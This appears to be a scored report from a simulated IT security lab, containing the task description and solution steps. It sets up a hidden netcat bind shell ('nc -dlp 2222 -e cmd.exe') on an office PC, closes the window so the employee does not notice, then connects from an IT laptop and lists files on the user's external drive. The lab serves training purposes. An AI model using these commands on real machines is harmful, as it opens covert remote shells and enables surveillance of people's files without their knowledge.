Lab Report

Your Performance

Your Score: 0 of 3 (0%)   Pass Status: Not Passed

Elapsed Time: 34 seconds   Required Score: 100%

Task Summary

Required Actions

✖ Execute netcat on Office1 (listen mode)

✖ Execute netcat on IT-Laptop (client mode)

✖ Inspect external hard drive (G: drive)

Explanation

In this lab, your task is to:

- Run netcat from a PowerShell window on Office1 using the following information:
  - Execute netcat in detached mode so that it runs in the background when the command prompt window is closed.
  - Execute netcat in listen mode.
  - Configure netcat to listen for connections on port 2222.
  - Configure netcat to execute cmd.exe when a connection is made.
- Run netcat on IT-Laptop and connect to Office1 using the following information:
  - Connect using the hostname or IP address.
  - Connect using port 2222.
- Inspect the external hard drive (G: drive) for music and video files.

Complete this lab as follows:

1. On Office1, run netcat from a PowerShell window as follows:
   a. Right-click **Start** and select **Windows Powershell (Admin)**.
   b. At the prompt, type **nc -dlp 2222 -e cmd.exe** and press **Enter** to start netcat in listen mode.
   c. Close the PowerShell window so the employee doesn't see an open window.

2. On IT-Laptop, run netcat to connect to Office1 as follows:
   a. From the top navigation tabs, select **Floor 1 Overview**.
   b. Under IT Administration, select **IT-Laptop**.
   c. From the Favorites bar, open Terminal.
   d. At the prompt, type **nc Office1 2222** and press **Enter** to start netcat in client mode.

3. Type **dir /s g:** and press **Enter** to inspect the G: drive.